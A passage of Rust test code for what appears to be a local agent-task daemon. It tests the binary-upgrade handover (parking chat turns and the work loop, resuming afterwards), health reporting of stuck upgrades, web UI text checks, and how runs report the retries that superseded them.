15981 async move { wait_for_handover(&signal).await }
15982 });
15983 tokio::time::sleep(Duration::from_millis(20)).await;
15984 assert!(!waiter.is_finished(), "nothing was signalled yet");
15985 signal.notify_one();
15986 tokio::time::timeout(Duration::from_secs(5), waiter)
15987 .await
15988 .expect("a late signal wakes the waiter")
15989 .expect("join");
15990 }
15991
15992 #[tokio::test]
15993 async fn health_says_how_long_a_handover_has_been_stuck() {
15994 let fx = Fixture::start().await;
15995 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15996 progress.advance(crate::updater::Stage::Replaced);
15997 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15998 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15999
16000 let health = fx.get("/api/health").await.json();
16001 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
16002 assert!(stuck >= 600, "{stuck}");
16003 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
16004 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
16005 }
16006
16007 #[tokio::test]
16008 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
16009 let home = tempfile::tempdir().expect("temp home");
16010 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16011 progress.advance(crate::updater::Stage::Parking);
16012 crate::updater::write_progress(home.path(), &progress).expect("seed");
16013 let mut again = progress.clone();
16015 again.advance(crate::updater::Stage::Replaced);
16016 crate::updater::write_progress(home.path(), &again).expect("replaced");
16017 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16018 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
16019 let after = crate::updater::read_progress(home.path()).expect("record");
16020 assert_eq!(after.stage, crate::updater::Stage::Parking);
16021 }
16022
16023 #[tokio::test]
16024 async fn health_does_not_call_a_live_parking_wait_stuck() {
16025 let fx = Fixture::start().await;
16026 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16027 progress.parked_run = Some("20260905-000000-cd51".to_owned());
16028 progress.advance(crate::updater::Stage::Parking);
16029 let hours = Duration::from_secs(3 * 3600);
16030 progress.started_at = Timestamp::now() - hours;
16031 progress.updated_at = Timestamp::now() - hours;
16032 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
16033 let _lease = crate::updater::LeaseGuard::enter(
16034 fx.home.path(),
16035 Some("20260905-000000-cd51".to_owned()),
16036 );
16037
16038 let health = fx.get("/api/health").await.json();
16039 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
16040 assert!(health["upgrade"]["stuck_kind"].is_null());
16041 assert_eq!(health["upgrade"]["handover_alive"], true);
16042 let waiting_on = health["upgrade"]["waiting_on"]
16043 .as_str()
16044 .expect("waiting_on");
16045 assert!(waiting_on.contains("cd51"), "{waiting_on}");
16046 }
16047
16048 fn idle_ui(home: &TempDir) -> Ui {
16049 let runs = home.path().join("runs");
16050 std::fs::create_dir_all(&runs).expect("runs dir");
16051 Ui::new(
16052 Queue::at(home.path().join("queue")),
16053 Questions::at(home.path().join("questions")),
16054 Talks::at(home.path().join("talks")),
16055 runs,
16056 home.path().to_path_buf(),
16057 PathBuf::from("/repo/magi"),
16058 )
16059 .with_launch(launch_idle)
16060 }
16061
16062 async fn park_fixture(
16063 home: &TempDir,
16064 ) -> (
16065 Ui,
16066 Arc<Mutex<LoopState>>,
16067 Arc<Mutex<TalkTurns>>,
16068 tokio::task::JoinHandle<std::io::Result<()>>,
16069 ) {
16070 let ui = idle_ui(home);
16071 let looping = ui.looping();
16072 let turns = ui.turns();
16073 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16074 .await
16075 .expect("bind loopback");
16076 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
16077 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16078 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16079 (ui, looping, turns, served)
16080 }
16081
16082 #[tokio::test]
16086 async fn hand_over_waits_for_a_running_chat_turn() {
16087 let home = TempDir::new().expect("temp home");
16088 let (ui, looping, turns, served) = park_fixture(&home).await;
16089 let ui = Arc::new(ui);
16090 let id = "20260901-000000-chat";
16091 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16092
16093 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16094 let handover = tokio::spawn({
16095 let home = home.path().to_path_buf();
16096 let turns = Arc::clone(&turns);
16097 let calls = Arc::clone(&calls);
16098 async move {
16099 hand_over(
16100 &home,
16101 &looping,
16102 &turns,
16103 &|_: &[String]| Duration::from_secs(60),
16104 served,
16105 move |_| {
16106 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16107 Ok(1)
16108 },
16109 )
16110 .await
16111 }
16112 });
16113
16114 let waiting = async {
16115 for _ in 0..200 {
16116 if crate::updater::read_progress(home.path())
16117 .is_some_and(|p| p.parked_talks == [id.to_owned()])
16118 {
16119 return;
16120 }
16121 tokio::time::sleep(Duration::from_millis(25)).await;
16122 }
16123 panic!("the park never named the chat turn");
16124 };
16125 waiting.await;
16126 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16127
16128 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16131 assert!(
16132 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16133 "a direct start says an upgrade is in progress"
16134 );
16135 assert!(
16136 ui.begin_queued_talk_turn("20260901-000000-late")
16137 .expect("queued claim")
16138 .is_none()
16139 );
16140 assert!(matches!(
16141 ui.begin_talk_turn_unless_pending("20260901-000000-late")
16142 .expect("start"),
16143 TalkTurnStart::Busy
16144 ));
16145 assert_eq!(turns.lock().unwrap().live.len(), 1);
16146
16147 let progress = crate::updater::read_progress(home.path()).expect("progress");
16149 let view = upgrade_progress_view(&ui, progress);
16150 assert!(
16151 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
16152 "{:?}",
16153 view.waiting_on
16154 );
16155
16156 assert!(!handover.is_finished());
16157 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16158 drop(turn);
16159 handover.await.expect("join").expect("hand over");
16160 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16161 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16162 }
16163
16164 #[tokio::test]
16167 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
16168 let home = TempDir::new().expect("temp home");
16169 let (ui, looping, turns, served) = park_fixture(&home).await;
16170 let ui = Arc::new(ui);
16171 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
16173 lock_or_recover(&looping).live = Some(Live {
16174 stop: daemon::Stop::new(),
16175 handle: tokio::spawn(async move {
16176 let _ = loop_ended.await;
16177 }),
16178 opts: daemon::Opts::default(),
16179 });
16180
16181 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16182 let handover = tokio::spawn({
16183 let home = home.path().to_path_buf();
16184 let turns = Arc::clone(&turns);
16185 let calls = Arc::clone(&calls);
16186 async move {
16187 hand_over(
16188 &home,
16189 &looping,
16190 &turns,
16191 &|_: &[String]| Duration::from_secs(60),
16192 served,
16193 move |_| {
16194 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16195 Ok(1)
16196 },
16197 )
16198 .await
16199 }
16200 });
16201
16202 let reached = async {
16203 for _ in 0..200 {
16204 if crate::updater::read_progress(home.path())
16205 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
16206 {
16207 return;
16208 }
16209 tokio::time::sleep(Duration::from_millis(25)).await;
16210 }
16211 panic!("the hand-over never reached parking");
16212 };
16213 reached.await;
16214
16215 assert!(!turns.lock().unwrap().parking);
16217 let turn = ui
16218 .begin_talk_turn("20260901-000000-chat")
16219 .expect("claim")
16220 .expect("a turn can start while the loop parks");
16221
16222 end_loop.send(()).expect("loop still waiting");
16224 for _ in 0..200 {
16225 if turns.lock().unwrap().parking {
16226 break;
16227 }
16228 tokio::time::sleep(Duration::from_millis(25)).await;
16229 }
16230 assert!(
16231 turns.lock().unwrap().parking,
16232 "closed once the loop is done"
16233 );
16234 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16235 assert!(
16236 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16237 "no turn starts once the loop is done"
16238 );
16239 assert!(
16240 ui.begin_queued_talk_turn("20260901-000000-late")
16241 .expect("queued claim")
16242 .is_none()
16243 );
16244 assert!(!handover.is_finished());
16245 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16246
16247 drop(turn);
16248 handover.await.expect("join").expect("hand over");
16249 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16250 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16251 }
16252
16253 #[tokio::test]
16256 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
16257 let home = TempDir::new().expect("temp home");
16258 let (ui, looping, turns, served) = park_fixture(&home).await;
16259 let id = "20260901-000000-stuk";
16260 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16261
16262 let calls = std::sync::atomic::AtomicUsize::new(0);
16263 hand_over(
16264 home.path(),
16265 &looping,
16266 &turns,
16267 &|_: &[String]| Duration::from_millis(300),
16268 served,
16269 |_| {
16270 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16271 Ok(1)
16272 },
16273 )
16274 .await
16275 .expect("hand over");
16276 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16277
16278 let progress = crate::updater::read_progress(home.path()).expect("progress");
16279 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
16280 assert!(
16281 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
16282 "{:?}",
16283 progress.detail
16284 );
16285 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
16286 assert!(
16287 log.contains("handing over anyway") && log.contains(id),
16288 "{log}"
16289 );
16290 }
16291
16292 #[tokio::test]
16295 async fn drain_loop_starts_no_turn_while_parking() {
16296 let tmp = TempDir::new().expect("tempdir");
16297 let repo = tmp.path().join("repo");
16298 std::fs::create_dir_all(&repo).expect("repo dir");
16299 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16300 let home = TempDir::new().expect("temp home");
16301 let talks = Talks::at(home.path().join("talks"));
16302 let ui = Ui::new(
16303 Queue::at(home.path().join("queue")),
16304 Questions::at(home.path().join("questions")),
16305 talks.clone(),
16306 home.path().join("runs"),
16307 home.path().to_path_buf(),
16308 repo.clone(),
16309 )
16310 .with_worktrees_root(home.path().join("wt"));
16311 let cfg = config_for(&repo).await.expect("discover config");
16312 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16313 let id = talk.id.clone();
16314 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
16315 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
16316 let turns = ui.turns();
16317 let parking = ParkingTurns::begin(&turns);
16318
16319 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
16320
16321 assert!(
16322 turns.lock().unwrap().live.is_empty(),
16323 "the slot is given up"
16324 );
16325 let fresh = talks.get(&id).expect("talk");
16326 assert_eq!(fresh.pending, "later", "the draft is still queued");
16327 assert!(fresh.turns.is_empty(), "no turn ran");
16328 drop(parking);
16329 }
16330
16331 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
16333 let looping = ui.looping();
16334 let turns = ui.turns();
16335 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16336 .await
16337 .expect("bind loopback");
16338 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16339 let told = std::sync::Mutex::new(None);
16340 hand_over(
16341 home.path(),
16342 &looping,
16343 &turns,
16344 &|_: &[String]| Duration::from_secs(5),
16345 served,
16346 |resume| {
16347 *told.lock().unwrap() = Some(resume);
16348 Ok(1)
16349 },
16350 )
16351 .await
16352 .expect("hand over");
16353 told.into_inner().unwrap().expect("successor was started")
16354 }
16355
16356 #[tokio::test]
16357 async fn a_running_loop_is_resumed_by_the_successor() {
16358 let home = TempDir::new().expect("temp home");
16359 let ui = idle_ui(&home);
16360 ui.start_loop(None).expect("start");
16361 ui.park_for_upgrade().expect("park");
16362 for _ in 0..500 {
16364 if !ui.loop_view(None).running {
16365 break;
16366 }
16367 tokio::time::sleep(Duration::from_millis(2)).await;
16368 }
16369 assert!(handed_over(&home, ui).await, "a running loop must resume");
16370
16371 let successor = idle_ui(&home);
16372 assert!(!successor.loop_view(None).running);
16373 assert!(successor.resume_after_handover(true));
16374 assert!(successor.loop_view(None).running);
16375 successor.stop_loop(None, false).expect("stop");
16376 }
16377
16378 #[tokio::test]
16379 async fn a_second_upgrade_request_keeps_the_resume_intent() {
16380 let home = TempDir::new().expect("temp home");
16381 let ui = idle_ui(&home);
16382 ui.start_loop(None).expect("start");
16383 ui.park_for_upgrade().expect("first park");
16384 ui.park_for_upgrade().expect("second park");
16385 assert!(handed_over(&home, ui).await);
16386 }
16387
16388 #[tokio::test]
16389 async fn a_stop_during_the_handover_wait_is_honoured() {
16390 let home = TempDir::new().expect("temp home");
16391 let ui = idle_ui(&home);
16392 ui.start_loop(None).expect("start");
16393 ui.park_for_upgrade().expect("park");
16394 ui.stop_loop(None, false).expect("stop");
16395 assert!(!handed_over(&home, ui).await);
16396 }
16397
16398 #[tokio::test]
16399 async fn an_idle_loop_stays_stopped_across_the_handover() {
16400 let home = TempDir::new().expect("temp home");
16401 let ui = idle_ui(&home);
16402 ui.park_for_upgrade().expect("park");
16403 assert!(!handed_over(&home, ui).await);
16404
16405 let successor = idle_ui(&home);
16406 assert!(!successor.resume_after_handover(false));
16407 assert!(!successor.loop_view(None).running);
16408 }
16409
16410 #[tokio::test]
16411 async fn a_loop_the_operator_stopped_is_not_resumed() {
16412 let home = TempDir::new().expect("temp home");
16413 let ui = idle_ui(&home);
16414 ui.start_loop(None).expect("start");
16415 ui.stop_loop(None, false).expect("stop");
16416 ui.park_for_upgrade().expect("park");
16417 assert!(!handed_over(&home, ui).await);
16418 }
16419
16420 #[test]
16421 fn only_an_explicit_one_requests_a_resume() {
16422 assert!(!resume_requested(None));
16423 assert!(!resume_requested(Some("0".into())));
16424 assert!(!resume_requested(Some("".into())));
16425 assert!(resume_requested(Some("1".into())));
16426 }
16427
16428 #[test]
16429 fn the_upgrade_button_arms_before_it_restarts_anything() {
16430 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
16433 assert!(APP_JS.contains("Replace the binary and restart?"));
16434 assert!(APP_JS.contains("function confirmed("));
16435 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
16440 assert!(
16444 APP_JS.contains("Parking, then restarting"),
16445 "the button says what it is waiting for"
16446 );
16447 assert!(APP_JS.contains("if (!out.to)"));
16450 }
16451
16452 #[test]
16453 fn stopping_the_loop_arms_but_starting_does_not() {
16454 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16457 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16458 assert!(APP_JS.contains("confirmed(button, question)"));
16459 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16462 assert!(APP_JS.contains("const label = btn.textContent;"));
16463 assert!(!APP_JS.contains("Neither direction is guarded"));
16464 }
16465
16466 #[test]
16467 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16468 assert!(
16469 APP_JS.contains("state.health.version"),
16470 "the operator wants to know what is running even with nothing newer"
16471 );
16472 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16473 }
16474
16475 #[test]
16476 fn the_upgrade_button_names_its_destination() {
16477 assert!(
16478 APP_JS.contains("`Update to ${update.to}`"),
16479 "pressing the button should not be a surprise about what it moves to"
16480 );
16481 }
16482
16483 #[test]
16484 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16485 for stage in ["downloading", "replaced", "parking", "restarting"] {
16486 assert!(
16487 APP_JS.contains(&format!("\"{stage}\"")),
16488 "the phone must be able to tell {stage} apart from the others"
16489 );
16490 }
16491 assert!(APP_JS.contains(".waiting_on"));
16492 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16497 assert!(APP_JS.contains("reconnects on its own"));
16498 }
16499
16500 #[test]
16501 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16502 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16511 ..APP_JS.find("function upgrade(").expect("upgrade")];
16512 assert!(
16513 !body.contains(
16514 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16515 ),
16516 "a failed upgrade must not take the whole strip over the way it used to"
16517 );
16518 assert!(
16519 body.contains("upgradeFailNote"),
16520 "the failure has to reach the loop's own note instead"
16521 );
16522 assert_eq!(
16526 body.matches("upgradeFailNote].filter(Boolean).join")
16527 .count(),
16528 2,
16529 "both loop-why writers (quiet and control) must fold the note in"
16530 );
16531 }
16532
16533 #[test]
16534 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16535 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16538 assert!(APP_JS.contains("function upgradeOverdue("));
16539 }
16540
16541 #[test]
16542 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16543 assert!(
16544 APP_JS.contains("Updated to ${upgradeInfo.to"),
16545 "the operator who asked for the restart wants to know it worked"
16546 );
16547 }
16548
16549 #[test]
16550 fn an_error_is_visible_from_where_the_button_is() {
16551 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16556 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16557 assert!(
16558 alert.contains("position: fixed"),
16559 "an error about the thing under your thumb has to be visible from \
16560 where your thumb is: {alert}"
16561 );
16562 assert!(
16563 alert.contains("z-index: 25"),
16564 "above the dock (20) and the run-actions FAB (15), so neither \
16565 buries it: {alert}"
16566 );
16567 assert!(
16568 alert.contains("var(--tap)"),
16569 "and clear of the dock and the home indicator: {alert}"
16570 );
16571 assert!(
16574 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16575 "the FAB's column stays free: {alert}"
16576 );
16577 }
16578
16579 #[tokio::test]
16580 async fn an_older_attempt_says_what_replaced_it() {
16581 let fx = Fixture::start().await;
16582 let q = fx.queue();
16583 let runs = fx.runs();
16584 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16585 write_run(&runs, first, RunStatus::Stalled);
16586 write_run(&runs, second, RunStatus::Blocked);
16587
16588 let mut t = Task::new(
16589 "one task".to_owned(),
16590 "do it".to_owned(),
16591 PathBuf::from("/repo"),
16592 Source::Human,
16593 );
16594 t.runs = vec![first.to_owned(), second.to_owned()];
16595 q.put(&mut t).expect("put");
16596
16597 let rows = fx.get("/api/runs").await.json();
16601 let by = |short: &str| -> Value {
16602 rows.as_array()
16603 .unwrap()
16604 .iter()
16605 .find(|r| r["short"] == short)
16606 .cloned()
16607 .unwrap_or(Value::Null)
16608 };
16609 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16610 assert!(
16611 by("bbbb")["superseded_by"].is_null(),
16612 "the latest attempt is not superseded by anything"
16613 );
16614 assert!(APP_JS.contains("run.superseded_by"));
16616 assert!(APP_JS.contains("Superseded by"));
16617 }
16618
16619 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16620 let mut t = Task::new(
16621 "one task".to_owned(),
16622 "do it".to_owned(),
16623 PathBuf::from("/repo"),
16624 Source::Human,
16625 );
16626 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16627 t.status = status;
16628 t
16629 }
16630
16631 #[test]
16632 fn source_link_picks_the_page_that_filed_the_task() {
16633 let agent = |node: &str| Source::Agent {
16634 run: "20260904-014455-ab12".to_owned(),
16635 node: node.to_owned(),
16636 };
16637 let chat = source_link(&agent("chat")).expect("chat link");
16638 assert_eq!(chat.kind, "chat");
16639 assert_eq!(chat.id, "20260904-014455-ab12");
16640 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16641 let run = source_link(&agent("implement")).expect("run link");
16642 assert_eq!(
16643 (run.kind, run.href.as_str()),
16644 ("run", "#/runs/20260904-014455-ab12")
16645 );
16646 assert_eq!(source_link(&Source::Human), None);
16647 assert_eq!(
16648 source_link(&Source::Issue {
16649 number: 3,
16650 repo: "o/r".to_owned()
16651 }),
16652 None
16653 );
16654 let odd = source_link(&Source::Agent {
16655 run: "a b/c".to_owned(),
16656 node: "chat".to_owned(),
16657 })
16658 .expect("link");
16659 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16660 }
16661
16662 #[test]
16663 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16664 assert!(
16665 !APP_JS.contains("src.node === \"chat\""),
16666 "inline href rule is back"
16667 );
16668 assert!(
16669 APP_JS.matches("sourceLinkOf(").count() >= 4,
16670 "helper must serve every page"
16671 );
16672 assert!(
16673 APP_JS.matches("openChatLink(").count() >= 3,
16674 "the run page still needs its explicit chat link"
16675 );
16676 assert!(
16677 !APP_JS.contains("const openChat = el("),
16678 "the Queue card duplicates its source label link again"
16679 );
16680 assert!(
16681 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16682 "the task page must link a chat source label too"
16683 );
16684 }
16685
16686 #[test]
16687 fn task_ref_carries_the_source_link_for_a_chat_task() {
16688 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16689 t.source = Source::Agent {
16690 run: "20260904-014455-ab12".to_owned(),
16691 node: "chat".to_owned(),
16692 };
16693 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16694 let v = serde_json::to_value(&out).expect("json");
16695 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16696 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16697 assert_eq!(v["source_label"], t.source.label());
16698
16699 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16700 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16701 .expect("json");
16702 assert!(v["source_link"].is_null(), "{v}");
16703 }
16704
16705 #[test]
16706 fn task_view_serializes_source_link() {
16707 let mut t = Task::new(
16708 "t".to_owned(),
16709 "t".to_owned(),
16710 PathBuf::from("/repo"),
16711 Source::Agent {
16712 run: "20260901-000000-aaaa".to_owned(),
16713 node: "implement".to_owned(),
16714 },
16715 );
16716 t.runs.clear();
16717 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16718 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16719 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16720 }
16721
16722 #[tokio::test]
16723 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16724 let fx = Fixture::start().await;
16725 let runs = fx.runs();
16726 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16727 write_run(&runs, old, RunStatus::Blocked);
16728 write_run(&runs, new, RunStatus::Merged);
16729 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16730 fx.queue().put(&mut t).expect("put");
16731
16732 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16733 let task = &view["task"];
16734 assert_eq!(task["status"], "done");
16735 assert_eq!(task["is_latest"], false);
16736 assert_eq!(task["latest"]["short"], "bbbb");
16737 assert_eq!(task["finished_by"]["id"], new);
16738 assert_eq!(task["finished_by"]["outcome"], "merged");
16739 assert_eq!(task["closed_by_hand"], false);
16740 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16741 assert!(APP_JS.contains("finished_by"));
16742 assert!(APP_JS.contains("superseded by run"));
16743 }
16744
16745 #[tokio::test]
16746 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16747 let fx = Fixture::start().await;
16748 let runs = fx.runs();
16749 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16750 write_run(&runs, old, RunStatus::Stalled);
16751 write_run(&runs, new, RunStatus::Blocked);
16752 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16753 fx.queue().put(&mut t).expect("put");
16754
16755 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16756 assert_eq!(task["status"], "held");
16757 assert_eq!(task["is_latest"], true);
16758 assert!(task["latest"].is_null());
16759 assert!(task["finished_by"].is_null());
16760 assert_eq!(task["closed_by_hand"], false);
16761 }
16762
16763 #[tokio::test]
16764 async fn a_direct_run_has_no_task_outcome() {
16765 let fx = Fixture::start().await;
16766 let runs = fx.runs();
16767 let id = "20260901-000000-aaaa";
16768 write_run(&runs, id, RunStatus::Blocked);
16769 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16770 assert!(view["task"].is_null());
16771 }
16772
16773 #[test]
16774 fn task_outcome_does_not_guess_a_finishing_run() {
16775 let a = "20260901-000000-aaaa";
16776 let b = "20260901-000000-bbbb";
16777 let c = "20260901-000000-cccc";
16778 let dir = tempfile::tempdir().expect("tempdir");
16779 write_run(dir.path(), a, RunStatus::Blocked);
16780 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16781 let read = |id: &str| read_run(dir.path(), id).ok();
16783 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16786 let out = task_outcome(&t, a, 3, read);
16787 assert!(out.finished_by.is_none());
16788 assert!(out.closed_by_hand);
16789 let latest = out.latest.expect("latest");
16790 assert_eq!(latest.id, c);
16791 assert_eq!(latest.status, None);
16792 assert_eq!(latest.outcome, "record unreadable");
16793
16794 write_run(dir.path(), c, RunStatus::Ready);
16796 let t = outcome_task(&[a, c], TaskStatus::Done);
16797 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16798 assert_eq!(out.finished_by.expect("finisher").id, c);
16799 assert!(!out.closed_by_hand);
16800
16801 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16803 assert!(task_outcome(&t, a, 3, read).is_latest);
16804 }
16805
16806 #[tokio::test]
16807 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16808 let fx = Fixture::start().await;
16813 let q = fx.queue();
16814 let runs = fx.runs();
16815 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16816 write_run(&runs, first, RunStatus::Blocked);
16817 write_run(&runs, second, RunStatus::Merged);
16818
16819 let mut t = Task::new(
16820 "one task".to_owned(),
16821 "do it".to_owned(),
16822 PathBuf::from("/repo"),
16823 Source::Human,
16824 );
16825 t.runs = vec![first.to_owned(), second.to_owned()];
16826 q.put(&mut t).expect("put");
16827
16828 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16829 assert_eq!(earlier["superseded_by"], "dddd");
16830 assert_eq!(earlier["latest_attempt"]["id"], second);
16831 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16832 assert_eq!(
16833 earlier["latest_attempt"]["resolved"], true,
16834 "the run that replaced it landed, so this one reads as settled"
16835 );
16836
16837 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16838 assert!(
16839 later["superseded_by"].is_null(),
16840 "the latest attempt is not superseded by anything"
16841 );
16842 assert!(
16843 later["latest_attempt"].is_null(),
16844 "the latest attempt has no later attempt of its own"
16845 );
16846
16847 assert!(APP_JS.contains("run.latest_attempt"));
16854 assert!(APP_JS.contains("data-superseded"));
16855 assert!(APP_JS.contains("#/runs/${latest.id}"));
16856 }
16857
16858 #[tokio::test]
16859 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16860 let fx = Fixture::start().await;
16866 let q = fx.queue();
16867 let runs = fx.runs();
16868 let (a, b, c) = (
16869 "20260901-000000-aaaa",
16870 "20260901-000000-bbbb",
16871 "20260901-000000-cccc",
16872 );
16873 write_run(&runs, a, RunStatus::Blocked);
16874 write_run(&runs, b, RunStatus::Blocked);
16875 write_run(&runs, c, RunStatus::Merged);
16876
16877 let mut t = Task::new(
16878 "retried twice".to_owned(),
16879 "do it".to_owned(),
16880 PathBuf::from("/repo"),
16881 Source::Human,
16882 );
16883 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16884 q.put(&mut t).expect("put");
16885
16886 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16887 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16888 assert_eq!(
16889 view["latest_attempt"]["id"], c,
16890 "the chain's current head, not the intermediate Blocked retry"
16891 );
16892 assert_eq!(view["latest_attempt"]["resolved"], true);
16893
16894 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16895 assert_eq!(mid["latest_attempt"]["id"], c);
16896 assert_eq!(mid["latest_attempt"]["resolved"], true);
16897 }
16898
16899 #[tokio::test]
16900 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16901 let fx = Fixture::start().await;
16902 let q = fx.queue();
16903 let runs = fx.runs();
16904
16905 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16908 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16909 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16910 let mut t1 = Task::new(
16911 "still stuck".to_owned(),
16912 "do it".to_owned(),
16913 PathBuf::from("/repo"),
16914 Source::Human,
16915 );
16916 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16917 q.put(&mut t1).expect("put");
16918 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16919 assert_eq!(view1["latest_attempt"]["resolved"], false);
16920 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16921 assert_eq!(view1["latest_attempt"]["done"], true);
16922
16923 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16925 write_run(&runs, run_a, RunStatus::Blocked);
